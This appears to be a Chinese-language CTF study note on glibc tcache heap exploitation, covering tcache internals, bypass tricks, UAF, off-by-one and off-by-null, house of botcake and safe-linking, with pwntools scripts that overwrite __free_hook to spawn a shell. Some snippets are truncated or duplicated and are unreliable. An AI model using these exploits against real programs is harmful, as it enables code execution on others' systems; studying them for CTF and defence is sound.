0%

tcache attack


tcache介绍

  • 1.每个线程默认使用64个单链表结构的bins,每个bins最多存放7个chunk,64位机器16字节递增,从0x20到0x410,也就是说位于以上大小的chunk释放后都会先行存入到tcache bin中,当申请大于7个就会放入fastbins,但是tcache优先级高于fastbins,tcache先被申请出来
  • 2.对于每个tcache bin单链表,它和fast bin一样都是先进后出,而且prev_inuse标记位都不会被清除,所以tcache bin中的chunk不会被合并,即使和Top chunk相邻。
  • tcache机制出现后,每次产生堆都会先产生一个0x250大小的堆块,该堆块位于堆的开头,用于记录64个bins的地址(这些地址指向用户数据部分)以及每个bins中chunk数量。在这个0x250大小的堆块中,前0x40个字节用于记录每个bins中chunk数量,每个字节对应一条tcache bin链的数量,从0x20开始到0x410结束,刚好64条链,然后剩下的每8字节记录一条tcache bin链的开头地址,也是从0x20开始到0x410结束。还有一点值得注意的是,tcache bin中的fd指针是指向malloc返回的地址,也就是用户数据部分,而不是像fast bin单链表那样fd指针指向chunk头。
  • img

tcache绕过

1.绕过tcache进行fastbin attack申请大小相同的七个堆块,然后在申请一个,free7个,free最后申请的那个就会进入fastbin

2.绕过tcache bin ,利用unsorted bin,申请大于0x400的堆块,要防止堆块和top chunk合并

3.使用calloc
calloc函数不会分配tcache bin中的堆块,因此如果题目中出现了calloc函数,我们可以想到利用该函数直接绕过tcache,从而获得其它bin上的chunk。

申请8个free8个使用calloc申请就会直接获取ast bin上的chunk块(正常是先会申请tcache上的)

tcache extend

1.tcache机制情况下的chunk extend,相比较于fastbin,tcache机制的加入使得漏洞利用更简单,因此实现chunk extend也更轻松,不用正确标记next chunk的size,只需要修改当前chunk的size。我们free再malloc后就可以获得对应大小的chunk

2.glibc-2.27版本引入了tcache,但此时还没引入tcache的检测,所以基本就是想怎么申请都行,直接利用use aftr free,修改fd为__malloc/free_hook

3.glibc-2.31版本引入了tcache长度保护,会检测bins上的个数是否和申请的匹配,不匹配的话没法申请出来。比如说tcache_bins上0x90的chunk个数为0,但是我们gdb里显示我们劫持的地址还没申请出来,这个时候如果malloc的话是无效的,没法申请出来。所以要是想劫持hook地址,我们就需要至少两个堆块被free进了tcache_bins里,修改头指针fd为hook即可

1.tcachebin uaf

1.glibc-2.27的tcachebin改fd指针申请堆块不会检查,所以可以随便改(也就是打malloc/free不用找size位为0x7f的了),这使得打free_hook,更简单

2..glibc-2.31版本引入了tcache长度保护,会检测bins上的个数是否和申请的匹配,比如说tcache_bins上0x90的chunk个数为0,但是我们gdb里显示我们劫持的地址还没申请出来,这个时候如果malloc的话是无效的,没法申请出来。所以要是想劫持hook地址,我们就需要至少两个堆块被free进了tcache_bins里,修改最后被free的那个堆块的fd指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
for i in range(8):
add(i,0x80)
bug()
add(8,0x10)
for i in range(8):
free(i)
bug()
show(7)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x3ebca0
log.success('libc_base-->'+hex(libc_base))
__free_hook = libc_base+libc.sym['__free_hook']
edit(6,p64(__free_hook))
bug()
add(9,0x80)
edit(9,b'/bin/sh\x00')
add(10,0x80)
system = libc_base +libc.sym['system']
edit(10,p64(system))
free(9)

先申请7个,在申请一个就会在unsortbin,利用这个泄露libc,修改最后一个tcachebin的fd,申请两次就把free_hook申请出来了

2.tcachebin off by null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
for i in range (7):
add(i,0xf0)
add(7,0xf0)
add(8,0x88)
add(9,0xf0)
add(10,0x10)
for i in range(8):
free(i)
payload = b'\x00'*0x80+p64(0x190)
edit(8,payload)
free(9)
for i in range(7):
add(i, 0xf0)
add(7, 0xf0)
show(8)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x3ebca0
log.success('libc_base-->'+hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
add(11,0x88)
free(11)
bug()
edit(8,p64(free_hook))
add(12,0x88)
add(13,0x88)
system = libc.sym['system']+libc_base
edit(13,p64(system))
edit(12,b'/bin/sh\x00')
free(12)

具体就是绕过tcachebin,将堆块申请在unsortbin就行具体就不解释了,和正常的off by null一样

3.tcachebin off by one

让合并后的堆块大于0x400,进入unsortbin就可以

1
2
3
4
5
6
7
8
9
10
11
12
d(0x18, 'aaaa') #0
add(0x68, 'aaaa') #1
add(0x68, 'aaaa') #2
add(0x10, 'aaaa') #3
payload = 'a'*0x18 + '\xe1'
edit(0, payload)
delete(1)
add(0x60, 'aaaa')
show(2
add(0x68,b'\x00'*8)
free(4)
edit(2,p64(fake_chunk_addr))

知识点:

1.当系统需要分配内存,且 tcache bin 和 fastbin 中都找不到合适的堆块时,就会到 unsorted bin 上寻找。如果申请的内存堆块小于 unsorted bin 中某个堆块的大小,那么会将该内存块切割后返回给用户,剩下的部分仍然保存在 unsorted bin 上;如果申请的内存堆块大于 unsorted bin 上存放的堆块大小,那么会从 Top chunk 上重新分割,此时就会把 unsorted bin 上的堆块按照大小放回 small bin 和 large bin 中。

2.当从smallbin中申请出来一个堆块,smallbin剩余的堆块就会被挂进tcachebin,并且只会检查第一个被挂进tcachebin的堆块

利用前提:有calloc

首先申请9个堆块,先释放3-8,再将堆块1,释放,最后释放0,2

img

解释:这样目的是为了后面申请0xb0的堆块,tcache bin 和 fastbin 中都找不到合适的堆块,且unsortbins也不能合并(因为不相邻),这样最后会从top_chunk中新申请一个0xb0(data部分为0xa0)大小的堆块,并且将unsorted bin中的两个堆块,按照大小排列在small bin中:

img

然后在申请两个0xa0的堆块,将tcache bin空出来

img

img

将2的bk改为任意地址,然后用calloc申请堆块,堆块0就会被申请出来,堆块2,与伪造堆块2后面的堆块就会被放入tcache bin

img

5.高版本没有edit tcachebin attack

glibc2.29~glibc2.39,tcache加入了 key 值来进行 double free 检测,以至于在旧版本时的直接进行 double free 变的无效,所以自然就有了绕过方法,绕过方法其中比较典型的就是 house of botcake,他的本质也是通过 UAF 来达到绕过的目的

当 free 掉一个堆块进入 tcache 时,假如堆块的 bk 位存放的 key == tcache_key , 就会遍历这个大小的 Tcache ,假如发现同地址的堆块,则触发 Double Free 报错。

从攻击者的角度来说,我们如果想继续利用 Tcache Double Free 的话,一般可以采取以下的方法:

之前只是检查链表的上一个,这次是检查全部的链表

从攻击者的角度来说,我们如果想继续利用 Tcache Double Free 的话,一般可以采取以下的方法:

  1. 破坏掉被 free 的堆块中的 key,绕过检查(常用)
  2. 改变被 free 的堆块的大小,遍历时进入另一 idx 的 entries
  3. House of botcake(常用没有edit)

1.free后用uaf改bk,然后就可以再次free

2没学

3.House of botcacke 合理利用了 Tcache 和 Unsortedbin 的机制,同一堆块第一次 Free 进 Unsortedbin 避免了 key 的产生,第二次 Free 进入 Tcache,让高版本的 Tcache Double Free 再次成为可能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
for i in range(7):
add(i,0x100,b'aaaa')
add(7,0x100,b'aaaa')
add(8,0x100,b'aaaa')
add(9,0x10,b'/bin/sh\x00')
for i in range(7):
free(i)
free(8)
show(8)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x1ebbe0
print(hex(libc_base))
free(7)
add(10,0x100,b'aaaa')
system = libc_base +libc.sym['system']
free(8)
free_hook=libc_base+libc.sym['__free_hook']
payload = b'a'*0xf0+p64(0)*3+p64(0x101)+p64(free_hook)
add(11,0x150,payload)
add(12,0x100,b'aaaa')
add(13,0x100,p64(system))
free(9)
for i in range(7):
add(i,0x100,b'aaaa')
add(7,0x100,b'aaaa')
add(8,0x100,b'aaaa')
add(9,0x10,b'/bin/sh\x00')
for i in range(7):
free(i)
free(8)

堆块8进入unsortbin

1
free(7)

堆块8与堆块7合并

1
malloc(0x100)

tcachebin中就空出来一个

然后再次

1
free(8)

这时8被free两次,一次在unsortbin中,另一次在tcachebin中,而且形成堆叠,8在7这个合并的大堆块中

1
add(11,0x150,payload)

申请一个大堆块,改堆块8的fd

tcachebin attack

提问:为什么不能先free(7)后free(8)

因为后面double free free(7),unsortbin链表就被破坏了

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
for i in range(7):
add(i,0x100,b'aaaa')
add(7,0x100,b'aaaa')
add(8,0x100,b'aaaa')
add(9,0x10,b'/bin/sh\x00')
for i in range(7):
free(i)
free(7)
show(7)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x1ebbe0
print(hex(libc_base))
free(8)
bug()
add(10,0x210,b'\x10')
add(11,0x100,b'/bin/sh\x00')
free(8)
free(10)
add(12,0x210,b'a'*0x110+p64(fd))
for i in range(7):
add(i,0x100,b'aaaa')
add(7,0x100,b'aaaa')
add(8,0x100,b'aaaa')
add(9,0x10,b'/bin/sh\x00')
for i in range(7):
free(i)
free(7)
free(8)

7,8堆块合并进入unsortbin

1
add(10,0x210,b'\x10')

将他两个申请出来,但是有uaf,所以7堆块和10堆块的指针指向同一块地址

1
add(11,0x100,b'/bin/sh\x00')

将tachebin空出来一个

1
free(8)

进入tachebin

1
2
free(10)
add(12,0x210,b'a'*0x120)

free10,又将10申请出来,12就可以覆盖到8

5.高版本glibc的tcache和fastbin指针加密机制

高版本tcachebin有加密机制,当free后堆块地址会加密,我们改fd指针,他会解密,然后就错了,所以我们先按照他的方法加密,写进去他解密就是对的

加密:原来指针^加密指针>>12

heap = u64(p.recv(5).ljust(8, b’\x00’))<<12

fd=(fd)^(heap)>>12

// 在最后添加